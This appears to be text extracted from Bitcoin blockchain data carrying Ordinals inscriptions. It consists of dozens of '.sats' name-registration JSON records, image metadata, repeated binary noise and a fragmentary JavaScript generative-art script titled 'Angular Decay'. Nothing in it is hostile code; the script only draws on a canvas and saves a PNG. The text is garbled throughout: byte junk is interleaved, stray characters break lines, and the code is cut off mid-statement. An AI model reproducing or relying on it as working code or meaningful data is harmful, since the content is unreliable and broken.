<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <exif:PixelYDimension>636</exif:PixelYDimension>
         <exif:PixelXDimension>630</exif:PixelXDimension>
         <exif:UserComment>Screenshot</exif:UserComment>
      </rdf:Description>
    " $(($26062JD>>DJpPVPVPp
    " $(($26062JD>>DJpPVPVPp
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0415.sats"}h!
uiCCPkCGColorSpaceDisplayP3
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"Miami.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"lufei.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"araojpn.sats"}h!
((((((((((((((((((((((((((((((((((((((((((((((((((
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
uiCCPkCGColorSpaceDisplayP3
uiCCPkCGColorSpaceDisplayP3
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
uiCCPkCGColorSpaceDisplayP3
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0901.sats"}h!
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"Fauci.sats"}h!
text/plain;charset=utf-8
5{"p":"sns","op":"reg","name":"Kansascitychiefs.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0401.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"Trans.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"Premium.sats"}h!
uiCCPkCGColorSpaceDisplayP3
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
uiCCPkCGColorSpaceDisplayP3
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0408.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"Tiffany.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"bigbrother.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0501.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"kaa.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11188.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"nnb.sats"}h!
2023-02-26T19:25:41+00:00@
2023-02-26T19:25:41+00:001B
2023-02-26T19:25:42+00:00W
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10080.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"242396.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"Olympics2024.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"zhihu.sats"}h!
text/plain;charset=utf-8
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0406.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aat.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"Messi.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"taa.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"DonkeyKong.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"Microsoft.sats"}h!
uiCCPkCGColorSpaceDisplayP3
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"3.sats"}h!
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0806.sats"}h!
2023-03-02T09:30:39+00:00
2023-03-02T09:30:39+00:00e/
2023-03-02T09:30:39+00:002:
text/plain;charset=utf-8
iTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <exif:PixelYDimension>636</exif:PixelYDimension>
         <exif:PixelXDimension>630</exif:PixelXDimension>
         <exif:UserComment>Screenshot</exif:UserComment>
      </rdf:Description>
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"7.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0605.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"HomeDepot.sats"}h!
d/Foundry USA Pool #dropgold/
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"0xlover.sats"}h!
text/plain;charset=utf-8
  "name": "crypto-finance.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"52jk.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"mik.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"3504.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"3412.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"mly.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"mmy.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"ilovebitcoin.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"msm.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"3486.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"zhongbencong.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"sunyuchen.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"3428.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"3492.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"3472.sats"}h!
text/plain;charset=utf-8
2{"p":"sns","op":"reg","name":"zhaochangpeng.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"3408.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"Q.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"H.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"mms.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"mgo.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"3426.sats"}h!
text/plain;charset=utf-8
  "name": "$66.sats"
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"694.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"903.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"254.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"348.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"492.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"258.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"685.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"218.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"221.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"908.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"677.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"678.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"303.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"223.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"256.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"652.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"418.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"995.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"901.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"228.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"236.sats"}h!
text/plain;charset=utf-8
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.b0f8be90, 2021/12/15-21:25:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xapM
/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.2 (Macintosh)" xmp:CreateDate="2023-02-16T14:40:24-08:00" xmp:ModifyDate="2023-02-16T17:49:28-08:00" xmp:MetadataDate="2023-02-16T17:49:28-08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:05488d6e-0485-4400-8819-ccf9811b0638" xmpMM:DocumentID="adobe:docid:photoshop:95436659-6439-c949-94be-abe211c8b86f" xmpMM:OriginalDocumentID="xmp.did:670b6958-b0f7-49fc-9aa6-9533f1f75d92"> <xmpM
MM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:670b6958-b0f7-49fc-9aa6-9533f1f75d92" stEvt:when="2023-02-16T14:40:24-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:588f5c6e-591d-4380-947e-c5801b5c5f00" stEvt:when="2023-02-16T16:20:07-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:05488d6e-0485-4400-8819-ccf9811b0638" stEvt:wM
hen="2023-02-16T17:49:28-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>{Q
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"layer0.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ifo.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"paperhands.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
-http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.dabacbb, 2021/04/14-00:39:44        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshoM
p 23.0 (Windows)" xmpMM:InstanceID="xmp.iid:BD00AE23B23E11EDBE92961110F50BF1" xmpMM:DocumentID="xmp.did:BD00AE24B23E11EDBE92961110F50BF1"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BD00AE21B23E11EDBE92961110F50BF1" stRef:documentID="xmp.did:BD00AE22B23E11EDBE92961110F50BF1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
)A&&AB///BG?>>?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
))4&4?((?G?5?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
text/html;charset=utf-8
<meta charset="UTF-8">
<title>Angular Decay</title>
<script id="snippet-random-code" type="text/javascript">
let seed = window.location.href.split('/').find(t => t.includes('i0'));
const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
let pattern = "seed=";
for (let i = 0; i <M
 seed.length - pattern.length; ++i) {
if (seed.substring(i, i + pattern.length) == pattern) {
seed = seed.substring(i + pattern.length);
function cyrb128($) {
let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM
 ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
function sfc32($, _, u, i) {
return function () {
var l = ($ >>>= 0) + (_ >>>= 0) | 0;
return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
let mathRand = sfc32(...cyrb128(seed));
<style>body {margin: 0px;} </style>M
<canvas id="target"></canvas>
<script type="text/javascript">
const rand = mathRand();
const rand2 = mathRand();
let sqpix,cp,ratio=0.707,bug=false;
if(rand<0.3){sqpix=0;zoom=false;return"Portrait";}
if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";}
if(rand<0.95){sqpix=1;return"Square";}
sqpix=1;bug=1;return"Bugged";}
if(rand<0.07){cp=12;return "Paper";}
if(rand<0.14){cp=1;return "DPM";}
if(rand<0.21){cp=2;return "Fecktarn";}
if(rand<0.41){cp=4;return "Desert Drill";}
if(rand<0.5){cp=5;return "Urban";}
if(rand<0.6){cp=6;return "Navy";}
if(rand<0.7){cp=7;return "German Winter";}
if(rand<0.8){cp=8;return "Tree";}
if(rand<0.85){cp=9;return "Orange";}
if(rand<0.9){cp=10;return "Harris";}
if(rand<0.95){cp=11;return "Market";}
cp=0;return "Saint";}
window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) }
const container = document.createElement("div")
container.innerHTML = "<span>seed: " + seed + "</spM
let resizeTmr=null,aniFrame=null;
let ofw,ofh,sz,rz=1;
let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[];
var tricount=0,tr=30;
var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[];
var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[];
const init = async () => {
window.addEventListener('resize', async () => {
clearTimeout(resizeTmr)
resizeTmr = setTimeout(async () => {
await layoutCanvas()
await layoutCanvas()
const layoutCanvas = async () => {
const wWidth=window.innerWidth
const wHeight=window.innerHeight
let cHeight=wHeight;
let cWidth=cHeight*ratio;
if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;}
const canvas=document.getElementById('target')
canvas.width=2000*rz;
canvas.height=(2000*rz)/ratio;
canvas.style.position = 'absolute'
canvas.style.width = `${cWidth}px`
canvas.style.height = `${cHeight}px`
canvas.style.left = `${(wWidth - cWidth) / 2}px`
canvas.style.top = `${(wHeight - cHeight) / 2}pM
const drawCanvas = async () => {
if(!tried) setupart();
if (aniFrame) window.cancelAnimationFrame(aniFrame)
const canvas=document.getElementById('target')
const ctx=canvas.getContext('2d')
{let bx=ofw/500,by=ofh/500;
ctx.globalAlpha=0.05;
for(let f=10;f<30; f++){
for(let i=0;i<500; i++){
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff');
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M
if(gj>500) { drp=3; gj=0; }
for(let f=0;f<tc;f++){
if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz);
else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz);
dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);
dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);}
for(let f=0;f<rc;f++){
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz);
,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);}
ctx.fillStyle = artcols[0];
ctx.fillRect(0,0,ofw,ofh);
mathRand = sfc32(...cyrb128(seed));
tc=0;rc=0;tricount=0;tr=30;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
tricount=1000;tr=rir(10,50);dor=true;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
aniFrame = window.requestAnimationM
function triharder( x1,y1, x2,y2)
if(tricount>2500) return;
var x3=x1+rir(-tr,tr);
var y3=y1+rir(-tr,tr);
if(x3<0){x3+=tr;bmp++}
if(x3>1000){x3-=tr;bmp++}
if(y3<0){y3+=tr;bmp++}
if(y3>1000/ratio){y3-=tr;bmp++}
if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; }
else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;}
if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M
triharder(x3,y3, x1,y1);
if(ri(100)>20) triharder(x3,y3, x2,y2);
const autoDownloadCanvas = async () => {
const element = document.createElement('a')
element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`)
element.style.display = 'none'
document.body.appendChild(element)
let imageBlob = null
imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png'))
element.setAttribute('href', window.URL.createObjectURL(imageBlob, {
document.body.removeChild(element)
document.addEventListener('keypress', async (e) => {
e = e || window.event
if (e.key === 's') autoDownloadCanvas()
if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() }
function drawEllipse(ctx,x,y,rx,ry,fill) {
ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI);
if (fill) {ctx.fillStyle = fill;ctx.fill();}
function dl(ctx,lx,ly,ex,ey,stroke,width) {
if (stroke) {ctx.strokeStyle = stroke;}
if (width) {  ctx.linM
ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke();
if(cp==12)artcols=['#EDECE0','#303030','#880808'];
if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B'];
if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41'];
if(cp==1) artcols=['#25201E','#D3A252','#686C22'];
if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026'];
if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D'];
if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A'];
if(cp==5) artcols= ['#B8B8B3','#474747','M
if(cp==6) artcols= ['#A6B2C7','#323642','#394A69'];
if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD'];
if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D'];
if(cp==9) artcols= ['#EDECE0','#944645','#F25D34'];
if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933'];
function ri( x){  return Math.floor(mathRand()*x);}
function rir(x,y){ let nr = (y - x) ; return  Math.floor((mathRand()*nr) + x); }
--------------------------------------------------
text/plain;charset=utf-8
  "name": "plane.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
IjGREFUND:F70FA15FC29EDA3EF594D42C482908184090C710D7263FE6E4BE5CD2AECE957D
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"cno.sats"}h!
uiCCPkCGColorSpaceDisplayP3
uiCCPkCGColorSpaceDisplayP3
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"FTX.sats"}h!
'.$+2'*2++4,*1-.53-.735:1-A2*@70h)2E=5=98:;@2:E18C16>/3=/1:!19&5=$9B$;E&>I!BN4=I3>M5BP7EU9IZ3IX%FS!LZ'N\"Ra%Vf/Wj&Yk.[o%]o$`t#fz(j
GayD]uDZp@Uk<Rf<Ob:L^IT^HOXNQOBKQGIG?CK>ADDA>M?4KC:OH=RMDVM@
6E\SEUTL_YJ][RW[[NZcR^jTen^bsdkg`d^e`PleSplYnocyu_
>J)CO+@M0ES+HV&IW/L\3Pb*Qa.Tf.`t8`w9e|0e{)ey)h}2j
+8C-=HBd~'&-'08*5>Fd~
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
iTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <exif:PixelYDimension>1592</exif:PixelYDimension>
         <exif:PixelXDimension>2752</exif:PixelXDimension>
         <exif:UserComment>Screenshot</exif:UserComment>
      </rdf:Description>
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"Bitapes.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"papa.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"naa.sats"}h!
((((((((((((((((((((((((((((((((((((((((((((((((((
02-26T18:54:36+00:00
2023-02-26T18:54:36+00:00
2023-02-26T18:54:37+00:00
uiCCPkCGColorSpaceDisplayP3
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"cryptogpt.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aay.sats"}h!
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"La.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"eason.sats"}h!
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aap.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"SuperBowl.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"Trump.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ngg.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aax.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"Russia.sats"}h!
text/plain;charset=utf-8
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"uaa.sats"}h!
 (B+(%%(Q:=0B`Ued_U][jx
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"soda.sats"}h!
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"gaa.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"xaa.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aar.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aam.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"Losangeles.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"Xrated.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0908.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"BraziL.sats"}h!
text/plain;charset=utf-8
  "name": "poop.sats"
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"tff.sats"}h!
d/Foundry USA Pool #dropgold/
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"100ETH.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"666ETH.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"yugalabs.sats"}h!
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"cz.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"newland.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"elonmusk.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"mfers.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ach.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"ventock.sats"}h!
FjDOUT:C97A049C2D0A3FDE1D00D4EF54387C49B830F27F7DE6E42D3F53CB3769B3BC94
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
((((((((((((((((((((((((((((((((((((((((((((((((((
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
uiCCPkCGColorSpaceDisplayP3
iTXtXML:com.adobe.xmp
http://ns.adobe.com/xap/1.0/
<x:xmpmeta xmlns:x='adobe:ns:meta/'>
        <rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
        <rdf:Description rdf:about=''
        xmlns:dc='http://purl.org/dc/elements/1.1/'>
        <rdf:li xml:lang='x-default'>SMT Ordinal - 1</rdf:li>
        </rdf:Description>
        <rdf:Description rdf:about=''
        xmlns:Attrib=M
'http://ns.attribution.com/ads/1.0/'>
        <Attrib:Ads>
        <rdf:li rdf:parseType='Resource'>
        <Attrib:Created>2023-03-01</Attrib:Created>
        <Attrib:ExtId>1a01dd5e-dafd-4040-9681-6e25790759cb</Attrib:ExtId>
        <Attrib:FbId>525265914179580</Attrib:FbId>
        <Attrib:TouchType>2</Attrib:TouchType>
        </Attrib:Ads>
        </rdf:Description>
        <rdf:Description rdf:about=''
        xmlns:pdf='http://ns.adobe.com/pdf/1.3/'>
      <pdf:Author>Tokyo Flatland</pdf:Author>
        </rdf:Description>
        <rdf:Description rdf:about=''
        xmlns:xmp='http://ns.adobe.com/xap/1.0/'>
        <xmp:CreatorTool>Canva</xmp:CreatorTool>
        </rdf:Description>
        </x:xmpmeta>
xr:d:DAFXO3pT5WU:164,j:4576165845,t:23030120
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"edv.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0506.sats"}h!
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"Florida.sats"}h!
text/plain;charset=utf-8
